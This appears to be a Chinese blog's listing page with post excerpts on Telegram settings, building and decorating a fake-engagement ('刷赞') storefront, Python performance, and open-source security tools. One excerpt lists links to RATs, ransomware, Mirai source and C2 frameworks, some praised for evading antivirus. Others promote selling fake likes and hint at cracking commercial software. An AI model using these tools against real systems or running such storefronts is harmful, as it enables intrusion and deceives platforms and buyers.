    电报(telegram)是通信业务的一种,是最早使用电进行通信的方法。它利用电流(有线)或电磁波(无线)作载体,通过编码和相应的电处理技术实现人类远距离传输与交换信息的通信方式。电报大为加快了消息的流通,是工业社会的其中一项重要发明。早期的电报只能在陆地上通讯,后来使用了海底电缆,开展了越洋服务。到了20世纪初,开始使用无线电拍发电报,电报业务基本上已能抵达地球上大部份地区。电报主要是用作传递文字讯息,使用电报技术用作传送图片称为传真。 使用教程: 安装最新版TG,设置里的语言是没中文的,还需要自行设置。去点一下下面的官方链接,自动设置语言,设置里的语言选项也会有中文选项。具体操作:复制官方相应地址,到TG里的一个聊天窗口,然后点一下链接就自动设置好了。 官方设置链接: 英文:tg://setlanguage?lang=en 简体中文:tg://setlanguage?lang=zh-hans-raw  繁体中文:tg://setlanguage?lang=zh-hant-raw...

    2020-12-12 1907
  • 代刷网分站开通|乏解析与绑定

    主机记录选择或填写 * 记录值就是填主机控制面板写的地址 记录类型:CNAME 线路类型和TTL默认就行 (如下图所示) 绑定域名格式 *.域名 (注意*后面有个 “.”) 这样就乏解析就完成绑定和解析了,代刷网也就支持开通分站了哦! ...

    2020-12-10 1152
  • 代刷网装修代码

    将下面代码中“改成你的QQ”改成你的QQ号,改好后就可以复制到代刷网里使用了!   首页公告美化代码 <div class=”panel-body”> <li class=”list-group-item”><span class=”btn btn-danger btn-xs”>1</span> 特快名片赞日刷10-20万,急速赞日刷百万,空间人气日刷百万,快手/全民K歌日刷百万,欢迎下单!</li> <li class=”list-group-item”><span class=”btn btn-success btn-xs”>2</span> 温馨提示:部分业务请勿重复下单哦,想重复下单的话请先咨询客服后在下单!</li> <li class=”list-group-item”><span class=”btn btn-info btn-xs”>3</span> 下单之前请一定要看完该商品的注意事项再进行下单,避免出现错误,影响您的订单处理!</li> <li class=”list-group-item”><span class=”btn btn-warning btn-xs”>4</span> 一般下单后会在1-30分钟内将订单提交到供货商服务器,下单就秒,追求质量与速度! </li> <li class=”list-group-item”><span class=”btn btn-primary btn-xs”>5</span> 本站所有业务均为一手货源,下单成功后,享受最优质服务,有问题可以请联系客服! </li> <li class=”list-group-item”><span class=”btn btn-warning btn-xs”>6</span> QQ代刷平台宗旨 :价格低 速度快 质量好 坚决不做蜗牛单,欢迎体验! </li> <font color=”#000000″> <div class=”btn-group btn-group-justified”> <a target=”_blank” class=”btn btn-info” href=”http://wpa.qq.com/msgrd?v=3&amp;uin=改成你的QQ&amp;site=qq&amp;menu=yes”>联系客服</a> <a target=”_blank” class=”btn btn-success” href=”/user/reg.php”>搭建分站</a> <a target=”_blank” class=”btn btn-danger” href=”APP下载地址”><i class=”fa fa-cloud-download”></i>APP下载</a> </div> </font> </div> 首页弹出公告美化代码 <div class=”modal-body”> <font color=”green”>全部为真实速度,我们只卖性价比高的,不卖垃圾低价的!下单后有问题务必三天内联系客服改成你的QQ处理</font> <h4 class=”modal-title” id=”myModalLabel”> <center> ↓本站订单客服QQ↓ </center></h4> <li class=”list-group-item” style=”text-align: center;”><img width=”50″ height=”50″ src=”http://q1.qlogo.cn/g?b=qq&amp;nk=改成你的QQ&amp;s=100&amp;t=改成你的QQ” alt=”…” class=”img-circle” /><br />代刷吧-客服 &amp;<font color=”#0099CC”><span style=”font-size:13px;”>改成你的QQ</span></font><font color=”#0099CC”></font> <center> <font color=”#0099CC”>如果发现下单后长期不开刷且补单无效<br /><span style=”font-size:13px;”>请联系客服补单!</span></font> </center></li> <button type=”button” class=”btn btn-block btn-info”><a href=”http://wpa.qq.com/msgrd?v=3&amp;uin=改成你的QQ&amp;site=qq&amp;menu=yes” target=”_blank”><span style=”color:#ffffff;”>发送消息</span></a></button> </div> 在线下单提示代码 <div align=”center” style=”color:red;font-size: 3;” class=”list-group-item reed”>通知:SVIP VIP 黄 蓝 豪华绿、豪华黄、好莱坞 最快1小时内到账 欢迎爆单!</div> 底部代码 <li class=”list-group-item”> <center>友情链接 <a href=”http://#/” target=”_blank”><font color=”#336666″>代刷网</font></a>丨 <a href=”http://#/” target=”_blank”><font color=”#009966″>卡盟排行榜</font></a>丨 <a href="网站地址" target=”_blank”><font color=”#FF9933″>QQ技术网</font></a>丨 </center> </li> 滚动代码 <marquee scrollamount=2 FONT style=”COLOR: #FF00FF; FILTER: glow(color=FFFF66); FONT-FAMILY: 华文彩云; FONT-SIZE: 15pt; WIDTH: 100%”><B>代刷网欢迎您!真诚服务,一诺千金!我们用服务成名网络,我们用质量续写辉煌!</B></FONT></marquee> 音乐代码 <iframe frameborder=”no” border=”0″ marginwidth=”0″ marginheight=”0″ width=330 height=86 src=”//music.163.com/outchain/player?type=2&id=509313150&auto=1&height=66″></iframe> 以上代码完全可以满足你的代刷网所有装修需求,如果你想要更好看更多的美化代码,可以参考:代刷网装修美化代码大全。把网站打扮好了,就要去推广,让别人到你的网站来下单,你才能赚到钱哦。 ...

    2020-12-06 2211
  • 如何提高 Python 的运行速度?

    Python 目前得到了众多程序员的喜爱,但是还是遭到一些人的诟病,原由之一就是认为它运行缓慢。 其实某个特定程序(无论使用何种编程语言)的运行速度是快还是慢,在很大程度上取决于编写该程序的开发人员自身素质,以及他们编写优化而高效代码的能力。 Medium 上一位小哥就详细讲了讲如何让 Python 提速 30%,以此证明代码跑得慢不是 Python的问题,而是代码本身的问题。 01时序分析 在开始进行任何优化之前,我们首先需要找出代码的哪些部分使整个程序变慢。有时程序的问题很明显,但是如果你一时不知道问题出在哪里,那么这里有一些可能的选项: 注意:这是我将用于演示的程序,它将进行指数计算 # slow_program.py from decimal import * def exp(x):     getcontext().prec += 2     i, lasts, s, fact, num = 0, 0, 1, 1, 1     while s != lasts:         lasts = s         i += 1         fact *= i         num *= x         s += num / fact     getcontext().prec -= 2     return +s exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 最简约的“配置文件” 首先,最简单最偷懒的方法——Unix时间命令。 ~ $ time python3.8 slow_program.py real  0m11,058s user 0m11,050s sys 0m0,008s 如果你只能知道整个程序的运行时间,这样就够了,但通常这还远远不够。 最详细的分析 另外一个指令是cProfile,但是它提供的信息过于详细了。 ~ $ python3.8 -m cProfile -s time slow_program.py          1297 function calls (1272 primitive calls) in 11.081 seconds    Ordered by: internal time    ncalls tottime percall cumtime percall filename:lineno(function)         3   11.079    3.693   11.079    3.693 slow_program.py:4(exp)         1    0.000    0.000    0.002    0.002 {built-in method _imp.create_dynamic}       4/1    0.000    0.000   11.081   11.081 {built-in method builtins.exec}         6    0.000    0.000    0.000    0.000 {built-in method __new__ of type object at 0x9d12c0}         6    0.000    0.000    0.000    0.000 abc.py:132(__new__)        23    0.000    0.000    0.000    0.000 _weakrefset.py:36(__init__)       245    0.000    0.000    0.000    0.000 {built-in method builtins.getattr}         2    0.000    0.000    0.000    0.000 {built-in method marshal.loads}        10    0.000    0.000    0.000    0.000 <frozen importlib._bootstrap_external>:1233(find_spec)       8/4    0.000    0.000    0.000    0.000 abc.py:196(__subclasscheck__)        15    0.000    0.000    0.000    0.000 {built-in method posix.stat}         6    0.000    0.000    0.000    0.000 {built-in method builtins.__build_class__}         1    0.000    0.000    0.000    0.000 __init__.py:357(namedtuple)        48    0.000    0.000    0.000    0.000 <frozen importlib._bootstrap_external>:57(_path_join)        48    0.000    0.000    0.000    0.000 <frozen importlib._bootstrap_external>:59(<listcomp>)         1    0.000    0.000   11.081   11.081 slow_program.py:1(<module>) 在这里,我们使用cProfile模块和time参数运行测试脚本,以便按内部时间(cumtime)对行进行排序。这给了我们很多信息,你在上面看到的行大约是实际输出的10%。由此可见,exp函数是罪魁祸首,现在我们可以更详细地了解时序和性能分析。 时序特定功能 现在我们知道了应当主要关注哪里,我们可能想对运行速度缓慢的函数计时,而不用测量其余的代码。为此,我们可以使用一个简单的装饰器: def timeit_wrapper(func):     @wraps(func)     def wrapper(*args, **kwargs):         start = time.perf_counter() # Alternatively, you can use time.process_time()         func_return_val = func(*args, **kwargs)         end = time.perf_counter()         print('{0:<10}.{1:<8} : {2:<8}'.format(func.__module__, func.__name__, end - start))         return func_return_val     return wrapper 然后可以将此装饰器应用于待测功能,如下所示: @timeit_wrapper def exp(x):     ... print('{0:<10} {1:<8} {2:^8}'.format('module', 'function', 'time')) exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 这给出我们如下输出: ~ $ python3.8 slow_program.py module function   time   __main__ .exp      : 0.003267502994276583 __main__ .exp      : 0.038535295985639095 __main__ .exp      : 11.728486061969306 需要考虑的一件事是我们实际想要测量的时间。时间包提供time.perf_counter和time.process_time两个函数。他们的区别在于perf_counter返回的绝对值,包括你的Python程序进程未运行时的时间,因此它可能会受到计算机负载的影响。另一方面,process_time仅返回用户时间(不包括系统时间),这仅是你的过程时间。 02加速吧! 让Python程序运行得更快,这部分会很有趣!我不会展示可以解决你的性能问题的技巧和代码,更多地是关于构想和策略的,这些构想和策略在使用时可能会对性能产生巨大影响,在某些情况下,可以将速度提高30%。 使用内置数据类型 这一点很明显。内置数据类型非常快,尤其是与我们的自定义类型(例如树或链接列表)相比。这主要是因为内置程序是用C实现的,因此在使用Python进行编码时我们的速度实在无法与之匹敌。 使用lru_cache缓存/记忆 我已经在上一篇博客中展示了此内容,但我认为值得用简单的示例来重复它: import functools import time # caching up to 12 different results @functools.lru_cache(maxsize=12) def slow_func(x):     time.sleep(2) # Simulate long computation     return x slow_func(1) # ... waiting for 2 sec before getting result slow_func(1) # already cached - result returned instantaneously! slow_func(3) # ... waiting for 2 sec before getting result 上面的函数使用time.sleep模拟大量计算。第一次使用参数1调用时,它将等待2秒钟,然后才返回结果。再次调用时,结果已经被缓存,因此它将跳过函数的主体并立即返回结果。有关更多实际示例,请参见以前的博客文章。 使用局部变量 这与在每个作用域中查找变量的速度有关,因为它不只是使用局部变量还是全局变量。实际上,即使在函数的局部变量(最快),类级属性(例如self.name——较慢)和全局(例如,导入的函数)如time.time(最慢)之间,查找速度实际上也有所不同。 你可以通过使用看似不必要的分配来提高性能,如下所示: # Example #1 class FastClass:     def do_stuff(self):         temp = self.value # this speeds up lookup in loop         for i in range(10000):             ... # Do something with `temp` here # Example #2 import random def fast_function():     r = random.random     for i in range(10000):         print(r()) # calling `r()` here, is faster than global random.random() 使用函数 这似乎违反直觉,因为调用函数会将更多的东西放到堆栈上,并从函数返回中产生开销,但这与上一点有关。如果仅将整个代码放在一个文件中而不将其放入函数中,则由于全局变量,它的运行速度会慢得多。因此,你可以通过将整个代码包装在main函数中并调用一次来加速代码,如下所示: def main():     ... # All your previously global code main() 不访问属性 可能会使你的程序变慢的另一件事是点运算符(.),它在获得对象属性时被使用。此运算符使用__getattribute__触发字典查找,这会在代码中产生额外的开销。那么,我们如何才能真正避免(限制)使用它呢? # Slow: import re def slow_func():     for i in range(10000):         re.findall(regex, line) # Slow! # Fast: from re import findall def fast_func():     for i in range(10000):         findall(regex, line) # Faster! 当心字符串 使用模数(%s)或.format()进行循环运行时,字符串操作可能会变得非常慢。我们有什么更好的选择?根据雷蒙德·海廷格(Raymond Hettinger)最近的推特,我们唯一应该使用的是f-string,它是最易读,最简洁且最快的方法。根据该推特,这是你可以使用的方法列表——最快到最慢: f'{s} {t}'  # Fast! s + ' ' + t ' '.join((s, t)) '%s %s' % (s, t) '{} {}'.format(s, t) Template('$s $t').substitute(s=s, t=t) # Slow! 生成器本质上并没有更快,因为它们被允许进行延迟计算,从而节省了内存而不是时间。但是,保存的内存可能会导致你的程序实际运行得更快。这是怎么做到的?如果你有一个很大的数据集,而没有使用生成器(迭代器),那么数据可能会溢出CPU L1缓存,这将大大减慢内存中值的查找速度。 在性能方面,非常重要的一点是CPU可以将正在处理的所有数据尽可能地保存在缓存中。你可以观看Raymond Hettingers的视频,他在其中提到了这些问题。 03结论 优化的首要规则是不要优化。但是,如果确实需要,那么我希望上面这些技巧可以帮助你。但是,在优化代码时要小心,因为它可能最终使你的代码难以阅读,因此难以维护,这可能超过优化的好处。 ...

    2020-12-06 422
  • 网上一些比较优秀的开源安全项目

    这是一份开源安全项目清单,收集了一些比较优秀的开源安全项目,以帮助甲方安全从业人员构建企业安全能力。 这些开源项目,每一个都在致力于解决一些安全问题。 项目收集的思路: 一个是关注互联网企业/团队的安全开源项目,经企业内部实践,这些最佳实践值得借鉴。 一个是来自企业安全能力建设的需求,根据需求分类,如WAF、HIDS、Git监控等。 这个收集是一个长期的过程,我在GitHub创建了这个项目,专门用来收集一些优秀的甲方安全项目。还有很多很好的免费开源项目可供选择,下面列出的还只是其中很少的一部分,我将持续更新这个项目,欢迎Star。 项目内容 互联网企业/团队,如YSRC、宜信CESRC、陌陌MomoSecurity、VKSRC等。 根据企业安全能力建设的需求,大致可以分为如下几种类型: 资产管理 https://github.com/Tencent/bk-cmdb 一个面向资产及应用的企业级配置管理平台。 https://github.com/bongmu/OpsManage 一款代码部署、应用部署、计划任务、设备资产管理平台。 https://github.com/Cryin/AssetsView 资产发现、网络拓扑管理系统。 https://www.ansible.com/ 一种集成 IT 系统的配置管理、应用部署、执行特定任务的开源平台。 https://docs.saltstack.com/en/latest/ 一个具备puppet与func功能为一身的集中化管理平台。 漏洞管理 https://github.com/creditease-sec/insight 洞察-宜信集应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的平台。 https://github.com/ysrc/xunfeng 一款适用于企业内网的漏洞快速应急,巡航扫描系统。 https://github.com/martinzhou2015/SRCMS 企业应急响应与缺陷管理系统 。 https://github.com/233sec/laravel-src 基于 Laravel 的开源安全应急响应中心平台。 https://github.com/DefectDojo/django-DefectDojo一个安全程序和漏洞管理工具。 https://github.com/jeffzh3ng/fuxi 一款开源的网络安全检测工具,适用于中小型企业对企业信息系统进行安全巡航检测。 https://gitee.com/gy071089/SecurityManageFramwork 企业内网安全管理平台,包含资产管理,漏洞管理,账号管理,知识库管、安全扫描自动化功能模块,可用于企业内部的安全管理。 安全开发 https://github.com/momosecurity/rhizobia_J JAVA安全SDK及编码规范。 https://github.com/momosecurity/rhizobia_P PHP安全SDK及编码规范。 自动化代码审计 http://www.fortify.net/ 静态代码扫描工具。【破解即免费】。 http://rips-scanner.sourceforge.net/ 用于PHP脚本漏洞的静态源代码分析器。 https://github.com/openstack/bandit/releases/ 基于Python AST的静态分析器,用来查找Python代码中存在的通用安全问题的工具。 https://github.com/WhaleShark-Team/cobra 一款源代码安全审计工具,支持检测多种开发语言源代码中的大部分显著的安全问题和漏洞。 https://github.com/yingshang/banruo 基于的fotify的自动化代码审计系统。 https://sourceforge.net/projects/visualcodegrepp/一种用于C++、C语言、VB、PHP、Java和PL/SQL的自动代码安全审查工具。 https://find-sec-bugs.github.io/ 用于Java Web应用程序的安全审计。 https://github.com/zsdlove/Hades 静态代码脆弱性检测系统 WAF https://github.com/loveshell/ngx_lua_waf 一个基于LUA-nginx的模块(openresty)的网络应用防火墙。 https://rasp.baidu.com/ 一款免费、开源的应用运行时自我保护产品。 https://www.modsecurity.org/ 一个入侵侦测与防护引擎。 https://www.jxwaf.com/ 基于openresty(nginx+lua)开发的下一代web应用防火墙。 https://github.com/xsec-lab/x-waf 适用于中小企业的云waf 。 https://github.com/C4o/Juggler 可以与waf联动 ,一个也许能骗到黑客的系统。 堡垒机 https://github.com/jumpserver/jumpserver 全球首款完全开源的堡垒机,是符合4A的专业运维审计系统 https://tp4a.com/ 一款简单易用的开源堡垒机系统,支持RDP/SSH/SFTP/Telnet 协议的远程连接和审计管理。 https://github.com/triaquae/CrazyEye 基于Python的开发的一款简单易用的IT审计堡垒机。 https://github.com/liftoff/GateOne 一款使用HTML5技术编写的网页版SSH终端模拟器。 https://github.com/jx-sec/jxotp 一款企业SSH登陆双因素认证系统。 https://www.tosec.com.cn/ 开源版只支持一部分功能,剩下的功能需要购买。 HIDS https://www.ossec.net/ 一款开源的IDS检测系统,包括了日志分析、完整性检查、rook-kit检测,基于时间的警报和主动响应。 http://wazuh.com/ 一个免费的,开源的企业级安全监控解决方案,用于威胁检测,完整性监控,事件响应和合规性。 https://suricata-ids.org/ 一个免费的开源,成熟,快速和强大的网络威胁检测引擎。 https://www.snort.org/ 网络入侵检测和预防系统。 https://osquery.io/ 一个SQL驱动操作系统检测和分析工具。 https://www.la-samhna.de/ 用于集中式主机完整性监控的全面开源解决方案。 http://www.scaramanga.co.uk/firestorm/ 一种极高性能的网络入侵检测系统(NIDS) https://github.com/mozilla/MozDef Mozilla防御平台,一套实时集成化平台,能够实现监控、反应、协作并改进相关保护功能。 https://github.com/ysrc/yulong-hids 开源的主机入侵检测系统。 https://github.com/EBWi11/AgentSmith-HIDS 轻量级的HIDS系统,低性能损失,使用LKM技术的HIDS工具。 http://www.codeforge.cn/article/331327 一个基于python的HostIDS系统。 https://securityonion.net/ 免费开源网络安全监控系统。 http://openwips-ng.org/ 一款开源的模块化无线IPS(Intrusion Prevention System,入侵防御系统)。 https://www.dictionary.com/browse/moloch 网络流量收集与分析。 网络流量分析 https://www.zeek.org/ 一个功能强大的网络分析框架。 https://www.kismetwireless.net/ 一种无线网络和设备检测器,嗅探器,驱动工具和WIDS(无线入侵检测)框架。 SIEM/SOC https://www.alienvault.com/products/ossim 开源安全信息管理系统,它是一个开源安全信息和事件的管理系统,集成了一系列的能够帮助管理员更好的进行计算机安全,入侵检测和预防的工具。 https://github.com/apache/metron 一种网络安全应用程序框架,使组织能够检测网络异常并使组织能够快速响应已识别的异常情况。 https://siemonster.com/ 以很小的成本监控整个网络。 https://github.com/smarttang/w3a_SOC Web日志审计与网络监控集合一身的平台。 http://opensoc.github.io/ 致力于提供一个可扩展和可扩展的高级安全分析工具。 https://www.prelude-siem.org/ 一个结合了其他各种开源工具的SIEM框架。 https://github.com/jeffbryner/MozDef Mozilla防御平台,一套实时集成化平台,能够实现监控、反应、协作并改进相关保护功能。 企业云盘 https://kodcloud.com/ 可道云,是基于Web技术的私有云在线文档管理解决方案。 https://www.seafile.com/home/ 一款开源的企业云盘,注重可靠性和性能。 https://nextcloud.com/ 一款开源网络硬盘系统。 https://owncloud.com/product/ 一个基于Linux的开源云项目。 http://cloudreve.org/ 以最低的成本快速搭建公私兼备的网盘系统。 https://github.com/filebrowser/filebrowser/releases/latest 一个基于GO的轻量级文件管理系统。 https://filerun.com/ 一款强大的多功能网盘和文件管理器。 https://github.com/KOHGYLW/kiftd 一款专门面向个人、团队和小型组织的私有网盘系统。 钓鱼网站系统 https://github.com/hacklcx/HFish 一款基于 Golang 开发的跨平台多功能主动诱导型蜜罐框架系统。 https://github.com/SecurityPaper/mail_fishing 基于thinkphp写的一个内部钓鱼网站系统。 https://github.com/gophish/gophish 开源钓鱼工具包。 https://github.com/p1r06u3/phishing 甲方网络钓鱼的安全实践。 https://github.com/rsmusllp/king-phisher/ 一款专业的钓鱼活动工具包。 安全运维 https://github.com/HandsomeOne/Scout URL 监控系统。 https://github.com/qunarcorp/open_dnsdb 开源的基于Python语言的DNS管理系统 。 https://github.com/cuckoosandbox/cuckoo 一个自动化的动态恶意软件分析系统。 https://github.com/ytisf/theZoo 一个恶意软件分析项目。 https://code.google.com/archive/p/opendlp/ 一个免费的,开源的,基于代理和无代理的,集中管理,可大规模分发的数据丢失防护工具。 GitHub监控 https://github.com/FeeiCN/GSIL GitHub敏感信息泄漏工具。 https://github.com/0xbug/Hawkeye 监控github代码库,及时发现员工托管公司代码到GitHub行为并预警,降低代码泄露风险。 https://github.com/MiSecurity/x-patrol GitHub的泄露扫描系统–MiSecurity。 https://github.com/VKSRC/Github-Monitor 用于监控Github代码仓库的系统。 https://github.com/madneal/gshark 轻松有效地扫描Github中的敏感信息。 https://www.gitguardian.com/ 实时扫描GitHub活动的解决方案。 https://github.com/4×99/code6 码小六 – GitHub 代码泄露监控系统。 蜜罐技术 https://github.com/4×99/code6 多蜜罐平台,可视化分析。 https://github.com/hacklcx/HFish 一种基于Golang开发的跨平台多功能主动诱导型蜜罐框架系统。 https://github.com/p1r06u3/opencanary_web 蜜罐的网络管理平台。 http://www.honeyd.org/ 一个小型守护进程,可以在网络上创建虚拟主机。 https://github.com/mushorg/glastopf Python Web应用程序蜜罐。 https://github.com/cowrie/cowrie 一种中等交互式SSH和Telnet蜜罐,用于记录暴力攻击和攻击者执行的shell交互。 https://github.com/desaster/kippo 一个中等交互式SSH蜜罐,用于记录暴力攻击,最重要的是,攻击者执行的整个shell交互。 https://github.com/DinoTools/dionaea 一个低交互的蜜罐,能够模拟FTP/HTTP/MSSQL/MYSQL/SMB等服务。 https://github.com/mushorg/conpot 一个ICS蜜罐,其目标是收集有关针对工业控制系统的敌人的动机和方法的情报。 https://github.com/gbrindisi/wordpot 一个Wordpress蜜罐,可以检测用于指纹wordpress安装的插件,主题,timthumb和其他常用文件的探针。 https://github.com/jordan-wright/elastichoney 一个简单的Elasticsearch蜜罐。 https://github.com/honeynet/beeswarm 一个蜜罐项目,为蜜罐的配置、部署和管理提供了便利。 https://github.com/pwnlandia/shockpot 一个Web应用程序蜜罐,旨在找到试图利用Bash远程代码漏洞的攻击者,CVE-2014-6271。 风控系统 https://github.com/threathunterX/nebula 星云风控系统是一套互联网风控分析和检测平台。 https://github.com/ysrc/Liudao 六道”实时业务风控系统。 https://github.com/momosecurity/aswan 陌陌风控系统 静态规则引擎,零基础简易便捷的配置多种复杂规则,实时高效管控用户异常行为。 https://www.drools.org/ 基于java的功能强大的开源规则引擎。 文章转至于 https://github.com/Bypass007/Safety-Project-Collection ...

    2020-12-05 981
  • HW工具之Red Team远程控制软件

    开源远程管理控制 https://github.com/cobbr/Covenant 红队协作的.NET C2框架 https://github.com/byt3bl33d3r/SILENTTRINITY 由Python和.NET DLR写的C2框架 https://github.com/malwaredllc/byob 僵尸网络生成框架 https://github.com/panda-re/lava 大规模向程序中植入恶意程序 https://github.com/proxycannon/proxycannon-ng 构建攻击僵尸网络 https://github.com/deadPix3l/CryptSky/ 勒索软件 https://github.com/jgamblin/Mirai-Source-Code C.MIRAI蠕虫病毒.6K。 https://github.com/NYAN-x-CAT/Lime-RAT VB.勒索病毒 https://github.com/The404Hacking/AndroRAT JAVA.Android平台一对多带界面。 https://github.com/AhMyth/AhMyth-Android-RAT Smali.Android平台一对多带界面。goodjob。 https://github.com/BlackHacker511/BlackRAT JAVA.跨平台 https://github.com/tiagorlampert/CHAOS GO.win远控,可过大部分杀软。welljob。 https://github.com/Ne0nd0g/merlin GO.c2通讯,多session https://github.com/0x09AL/Browser-C2 GO.利用chrome以浏览器的形式连接C2服务器 https://github.com/Tiked/Client GO.Windows, OS X and linux RAT client https://github.com/yuanyuanxiang/SimpleRemoter C++/C.基于大灰狼gh0st的远程控制器 https://github.com/xdnice/PCShare C++.远程控制软件,可以监视目标机器屏幕、注册表、文件系统等。0.2k。 https://github.com/quasar/QuasarRAT C#.一对多,界面。goodjob。2.4k。 https://github.com/TheM4hd1/Vayne-RaT C#.一对多,界面 https://github.com/TheSph1nx/RT-101 C#.一对多,界面 https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp C#.一对多,界面 https://github.com/DannyTheSloth/VanillaRat C#.SIMPLE,界面 https://github.com/brunull/pace C#.SIMPLE,界面 https://github.com/5alt/ZeroRAT powershell.windows上的一句话远控,只需要执行一条指令不需要写文件 https://github.com/nettitude/PoshC2 PowerShell\C#.远控工具,有win提权组件 https://github.com/mwsrc/njRAT VB.源码 https://github.com/euphrat1ca/njRAT-v0.7d vb.常见蠕虫远控,有很多变种,多session带界面 https://github.com/peterpt/fuzzbunch PY2.方程式NSA漏洞利用远控RAT,配有自动化安装脚本与gui界面。永恒之蓝、永恒浪漫、永恒冠军、双星脉冲 https://github.com/n1nj4sec/pupy PY.Windows, Linux, OSX, Android跨平台,多session。groodjob。4.7k。 https://github.com/nathanlopez/Stitch PY.Windows、Mac OSX、Linux跨平台。welljob。1.3k。 https://github.com/zerosum0x0/koadic PY3.大宝剑利用JScript/VBScript 进行控制,在内存中运行shell.GOODJOB。1.2K。 https://github.com/Mr-Un1k0d3r/ThunderShell PY2.CLI与web端,内存加载,RC4加密HTTP传输 https://github.com/Ridter/MyJSRat PY2.利用js后门,配合chm、hta可实现很多后门方式。evi1cg.me/archives/chm_backdoor.html。w https://github.com/EmpireProject/Empire Empire这是一个基于 poweshell 的命令执行框架,可以完成大部分内网渗透中所需要的功能。 https://github.com/byt3bl33d3r/gcat Gcat这个工具可以使用 gmail 作为 C&C 服务器,是用 python 开发的。 https://github.com/trustedsec/trevorc2 TrevorC2这个工具可以自定义网站,将控制的命令和参数隐藏在网页源代码中,这样更加隐蔽,不容易被人察觉。 https://github.com/1ookup/trochilusTrochilus(蜂鸟)木马,支持TCP,UDP,HTTP,HTTPS、用C ++编写(使用VS2010) 多协议远控shell ttps://blog.csdn.net/Fly_hps/article/list/8?/ FLy_鹏程万里【基础篇】———— 隐匿攻击之 https://github.com/inquisb/icmpsh C.Simple reverse ICMP shell https://github.com/jamesbarlow/icmptunnel/ C.构建icmp隧道 https://github.com/iagox86/dnscat2 RUBY/C.cs结构,利用DNS协议进行端对端传输 https://github.com/ahhh/Reverse_DNS_Shell PY.通过dns传输 https://github.com/Coalfire-Research/Slackor GO,PY3.基于slack框架命令控制,利用dns服务通讯。集成spookflare/impacket/pypykatz。simple。goodjob。 商业版 https://cobaltstrike.com/ Cobalt Strike 这个工具在实际的攻击活动中应用广泛,有很好的操作界面,功能强大,有非常多的渗透测试人员使用。 https://github.com/rapid7/metasploit-framework Metasploit Framework 这是国内外都非常出名,使用非常广泛的集漏洞扫描与利用于一身的渗透测试框架。 协议分析 https://www.freebuf.com/articles/paper/167917.html Gh0st大灰狼RAT家族通讯协议分析 https://www.freebuf.com/articles/terminal/184930.html 新Njrat木马(Bladabindi)的新功能源码分析 https://www.freebuf.com/articles/network/122244.html 史上最全的njRAT通信协议分析 https://www.anquanke.com/post/id/182122 分析一款远控木马的通讯机制 https://www.anquanke.com/post/id/184263 分析asyncRAT远控的数据包格式及通讯建立过程 ...

    2020-12-05 1123

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:9:00-23:00,节假日休息

扫码关注